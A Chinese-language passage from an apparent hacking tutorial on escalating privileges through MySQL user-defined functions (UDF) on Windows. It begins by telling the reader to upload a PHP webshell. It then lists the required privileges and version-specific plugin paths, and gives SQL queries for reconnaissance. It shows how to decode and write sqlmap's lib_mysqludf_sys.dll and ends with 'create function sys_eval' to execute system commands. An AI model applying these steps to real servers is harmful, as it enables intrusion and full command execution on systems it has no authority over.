上传一个php大马,或者直接用webshell管理工具也行。

二、利用条件
1、常规情况:
1.1 mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用);
1.2 CREATE权限、FILE权限(root用户默认拥有所有权限)。
2、特殊情况:
2.1 INSERT权限、UPDATE权限、DELETE权限。
查看当前数据库用户权限:

版本特性
udf提权操作中的一个步骤是将我们的udf文件上传到mysql的检索目录中,Windows系统下mysql各版本的检索目录有所不同:

1、 Mysql < 5.0
导出路径随意。

2、 5.0 <= Mysql < 5.1
Win2000导出路径: C:/Winnt/udf.dll

其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll

3、 Mysql >= 5.1
Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。

查看当前数据库用户权限:

select * from mysql.user where user = substring_index(user(), '@', 1)\G;

确认mysql安装位置
select @@basedir as basePath from dual ;
show variables like '%basedir%';

通过主机版本及架构确认mysql位数来选用udf文件

show variables like '%compile%';

查看数据库版本,判断udf文件写入位置。
show variables like '%secure%';
当secure_file_priv处为空才可从写入dll,如果为NULL则不能写入,可以考虑从webshell上传dll。

select version();
查看 plugin 目录,存在lib\plugin目录且有webshell时,直接上传udf文件。

查看 plugin 目录,存在lib\plugin目录但没有webshell时,则需要以16进制编码写入udf文件。
5.1.2.1 首先将对应版本的udf文件进行16进制编码(sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码)。
在kali里的位置
/usr/share/sqlmap/udf/mysql/windows/32/lib_mysqludf_sys.dll_
/usr/share/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

手工写入可以看这个博客Mysql数据库提权系列—UDF提权篇 - FreeBuf网络安全行业门户

上传之后执行sql命令
create function sys_eval returns string soname 'udf.dll';

(udf.ll为我们上传的dll名字。)

然后就能执行系统命令了